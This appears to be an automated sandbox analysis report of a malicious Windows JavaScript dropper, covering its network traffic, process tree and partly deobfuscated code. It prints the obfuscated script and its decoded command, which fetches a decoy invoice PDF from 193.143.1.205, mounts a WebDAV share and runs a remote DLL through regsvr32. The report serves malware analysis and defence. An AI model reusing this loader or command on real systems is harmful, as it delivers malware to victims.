Jan 10, 2025 22:21:09.156125069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156137943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156148911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156160116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156163931 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156172037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156183004 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156194925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156208038 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156208038 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156233072 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.201653957 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.348018885 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.675632954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:10.180783987 CET	49712	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:10.185825109 CET	8888	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:10.185933113 CET	49712	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:10.186201096 CET	49712	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:10.191030979 CET	8888	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:11.023046970 CET	8888	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:11.076646090 CET	49712	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:12.565964937 CET	49712	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:22:24.028136015 CET	59275	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:22:24.035034895 CET	53	59275	1.1.1.1	192.168.2.10
Jan 10, 2025 22:22:24.035126925 CET	59275	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:22:24.035334110 CET	59275	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:22:24.040932894 CET	53	59275	1.1.1.1	192.168.2.10
Jan 10, 2025 22:22:24.502511024 CET	53	59275	1.1.1.1	192.168.2.10
Jan 10, 2025 22:22:24.503308058 CET	59275	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:22:24.508392096 CET	53	59275	1.1.1.1	192.168.2.10
Jan 10, 2025 22:22:24.508481979 CET	59275	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:21:23.088015079 CET	60910	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:21:46.818742990 CET	52019	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:22:10.975102901 CET	64664	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:22:24.027633905 CET	53	58646	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:21:23.088015079 CET	192.168.2.10	1.1.1.1	0xde32	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:21:46.818742990 CET	192.168.2.10	1.1.1.1	0xa6eb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:22:10.975102901 CET	192.168.2.10	1.1.1.1	0x3747	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:21:21.196141958 CET	1.1.1.1	192.168.2.10	0x313b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:21:21.196141958 CET	1.1.1.1	192.168.2.10	0x313b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:21:23.095565081 CET	1.1.1.1	192.168.2.10	0xde32	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:21:46.826294899 CET	1.1.1.1	192.168.2.10	0xa6eb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:22:10.984497070 CET	1.1.1.1	192.168.2.10	0x3747	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49705	193.143.1.205	80	8112	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:21:07.543066025 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:21:08.382483006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:21:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:21:08.382518053 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:21:08.382602930 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:21:08.382620096 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:21:08.382632017 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 22:21:08.382646084 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:21:08.382658005 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:21:08.382669926 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:21:08.382682085 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 22:21:08.382694960 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 22:21:08.387581110 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49712	193.143.1.205	8888	5768	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:21:10.186201096 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:21:11.023046970 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:21:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:21:03
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js"
Imagebase:	0x7ff7cd920000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:21:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll
Imagebase:	0x7ff74ced0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:21:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:21:04
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:21:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:21:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74ced0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:21:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7664a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:21:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:21:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:21:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1748,i,2527639246368942575,9388210296108734514,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function luakgj() {	luakgj() ➔ undefined
1	umbfxw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mxnac = this[ezfwcb + mhzzcjgo + mpmmlv + fmoiimt + vxglvfk + tcpbvyf + rregesnfk + hxoju] ( this[rwdtlz + kvtlf + sggofax + mpmmlv + mlmzl + ezfwcb + hxoju][dfbqkyyae + mpmmlv + vxglvfk + mhzzcjgo + hxoju + vxglvfk + ydjdpir + azxyljys + gnujwal + vxglvfk + sggofax + hxoju] ( rwdtlz + kvtlf + sggofax + mpmmlv + mlmzl + ezfwcb + hxoju + lawghbers + kvtlf + jfkqwpk + vxglvfk + gvgiat + gvgiat ) [rlivl + vxglvfk + evqsj + rlivl + vxglvfk + mhzzcjgo + ekgbptncc] ( iigbyfy + tjqjzdmb + kzdxnwnjd + ashudlpmk + varuuwml + dfbqkyyae + yqsfvejzp + rlivl + rlivl + kzdxnwnjd + vjkbcumss + pfaogrui + varuuwml + yqsfvejzp + kvtlf + kzdxnwnjd + rlivl + pqihft + dfbqkyyae + vehliziq + rregesnfk + hxoju + mpmmlv + vehliziq + gvgiat + ywciopzgt + bnbpkhwl + mhzzcjgo + rregesnfk + vxglvfk + gvgiat + pqihft + tcpbvyf + rregesnfk + hxoju + vxglvfk + mpmmlv + rregesnfk + mhzzcjgo + hxoju + mlmzl + vehliziq + rregesnfk + mhzzcjgo + gvgiat + pqihft + zngltzdi + vehliziq + sggofax + mhzzcjgo + gvgiat + vxglvfk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nqvyjvgat = 0 ; nqvyjvgat < umbfxw[gvgiat + vxglvfk + rregesnfk + evqsj + hxoju + jfkqwpk] ; ++ nqvyjvgat )
4	{
5	if ( mxnac == umbfxw[nqvyjvgat] )
6	{
7	mxnac = true;
8	break ;
9	}
10	}
11	if ( mxnac !== true )
12	this[rwdtlz + kvtlf + sggofax + mpmmlv + mlmzl + ezfwcb + hxoju][ousadnnm + zaufzsh + mlmzl + hxoju] ( );
13	this[rwdtlz + kvtlf + sggofax + mpmmlv + mlmzl + ezfwcb + hxoju][dfbqkyyae + mpmmlv + vxglvfk + mhzzcjgo + hxoju + vxglvfk + ydjdpir + azxyljys + gnujwal + vxglvfk + sggofax + hxoju] ( rwdtlz + kvtlf + sggofax + mpmmlv + mlmzl + ezfwcb + hxoju + lawghbers + kvtlf + jfkqwpk + vxglvfk + gvgiat + gvgiat ) [mpmmlv + zaufzsh + rregesnfk] ( sggofax + nitpe + ekgbptncc + ywciopzgt + hcbgm + sggofax + ywciopzgt + ezfwcb + vehliziq + izjljaxo + vxglvfk + mpmmlv + fmoiimt + jfkqwpk + vxglvfk + gvgiat + gvgiat + lawghbers + vxglvfk + lrrnnhnn + vxglvfk + ywciopzgt + nareqbw + dfbqkyyae + vehliziq + nitpe + nitpe + mhzzcjgo + rregesnfk + ekgbptncc + ywciopzgt + huuwk + tcpbvyf + rregesnfk + aspuel + vehliziq + qryqk + vxglvfk + nareqbw + rwdtlz + vxglvfk + azxyljys + rlivl + vxglvfk + ordczaskw + zaufzsh + vxglvfk + fmoiimt + hxoju + ywciopzgt + nareqbw + ydjdpir + zaufzsh + hxoju + lgbohwriu + mlmzl + gvgiat + vxglvfk + ywciopzgt + spymvs + hxoju + vxglvfk + nitpe + ezfwcb + spymvs + pqihft + mlmzl + rregesnfk + aspuel + vehliziq + mlmzl + sggofax + vxglvfk + lawghbers + ezfwcb + ekgbptncc + ryrlbtmmf + ywciopzgt + jfkqwpk + hxoju + hxoju + ezfwcb + meggvdkq + hcbgm + hcbgm + kxnlpuwk + isfrtu + qfiod + lawghbers + kxnlpuwk + regckhr + qfiod + lawghbers + kxnlpuwk + lawghbers + kpjfbfkgb + tpfwrpkxs + jfbaxe + hcbgm + mlmzl + rregesnfk + aspuel + vehliziq + mlmzl + sggofax + vxglvfk + lawghbers + ezfwcb + jfkqwpk + ezfwcb + huuwk + jhfdkn + jhfdkn + fmoiimt + hxoju + mhzzcjgo + mpmmlv + hxoju + ywciopzgt + spymvs + hxoju + vxglvfk + nitpe + ezfwcb + spymvs + pqihft + mlmzl + rregesnfk + aspuel + vehliziq + mlmzl + sggofax + vxglvfk + lawghbers + ezfwcb + ekgbptncc + ryrlbtmmf + jhfdkn + jhfdkn + sggofax + nitpe + ekgbptncc + ywciopzgt + hcbgm + sggofax + ywciopzgt + rregesnfk + vxglvfk + hxoju + ywciopzgt + zaufzsh + fmoiimt + vxglvfk + ywciopzgt + pqihft + pqihft + kxnlpuwk + isfrtu + qfiod + lawghbers + kxnlpuwk + regckhr + qfiod + lawghbers + kxnlpuwk + lawghbers + kpjfbfkgb + tpfwrpkxs + jfbaxe + yjayumzm + uqzxn + uqzxn + uqzxn + uqzxn + pqihft + ekgbptncc + mhzzcjgo + aspuel + izjljaxo + izjljaxo + izjljaxo + mpmmlv + vehliziq + vehliziq + hxoju + pqihft + jhfdkn + jhfdkn + sggofax + nitpe + ekgbptncc + ywciopzgt + hcbgm + sggofax + ywciopzgt + mpmmlv + vxglvfk + evqsj + fmoiimt + aspuel + mpmmlv + qfiod + kpjfbfkgb + ywciopzgt + hcbgm + fmoiimt + ywciopzgt + pqihft + pqihft + kxnlpuwk + isfrtu + qfiod + lawghbers + kxnlpuwk + regckhr + qfiod + lawghbers + kxnlpuwk + lawghbers + kpjfbfkgb + tpfwrpkxs + jfbaxe + yjayumzm + uqzxn + uqzxn + uqzxn + uqzxn + pqihft + ekgbptncc + mhzzcjgo + aspuel + izjljaxo + izjljaxo + izjljaxo + mpmmlv + vehliziq + vehliziq + hxoju + pqihft + kxnlpuwk + jfbaxe + bxzzgxei + bxzzgxei + jfbaxe + kxnlpuwk + tpfwrpkxs + jfbaxe + akdit + kpjfbfkgb + kpjfbfkgb + regckhr + jfbaxe + kpjfbfkgb + bxzzgxei + lawghbers + ekgbptncc + gvgiat + gvgiat, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll",0,false) ➔ 0
14	}
15	uqzxn = "n";
16	uqzxn = "g";
17	uqzxn = "K";
18	uqzxn = "w";
19	uqzxn = "b";
20	uqzxn = "a";
21	uqzxn = "P";
22	uqzxn = "8";
23	bxzzgxei = "g";
24	bxzzgxei = "C";
25	bxzzgxei = "y";
26	bxzzgxei = "s";
27	bxzzgxei = "s";
28	bxzzgxei = "Q";
29	bxzzgxei = "D";
30	bxzzgxei = "F";
31	bxzzgxei = "u";
32	bxzzgxei = "V";
33	bxzzgxei = "Q";
34	bxzzgxei = "V";
35	bxzzgxei = "A";
36	bxzzgxei = "b";
37	bxzzgxei = "r";
38	bxzzgxei = "Z";
39	bxzzgxei = "X";
40	bxzzgxei = "D";
41	bxzzgxei = "r";
42	bxzzgxei = "Q";
43	bxzzgxei = "S";
44	bxzzgxei = "b";
45	bxzzgxei = "V";
46	bxzzgxei = "K";
47	bxzzgxei = "t";
48	bxzzgxei = "w";
49	bxzzgxei = "x";
50	bxzzgxei = "C";
51	bxzzgxei = "U";
52	bxzzgxei = "u";
53	bxzzgxei = "G";
54	bxzzgxei = "7";
55	qfiod = "y";
56	qfiod = "k";
57	qfiod = "o";
58	qfiod = "Y";
59	qfiod = "s";
60	qfiod = "N";
61	qfiod = "N";
62	qfiod = "D";
63	qfiod = "N";
64	qfiod = "t";
65	qfiod = "s";
66	qfiod = "f";
67	qfiod = "Q";
68	qfiod = "M";
69	qfiod = "i";
70	qfiod = "H";
71	qfiod = "j";
72	qfiod = "Z";
73	qfiod = "m";
74	qfiod = "C";
75	qfiod = "r";
76	qfiod = "L";
77	qfiod = "m";
78	qfiod = "H";
79	qfiod = "z";
80	qfiod = "z";
81	qfiod = "g";
82	qfiod = "l";
83	qfiod = "k";
84	qfiod = "p";
85	qfiod = "w";
86	qfiod = "Z";
87	qfiod = "q";
88	qfiod = "n";
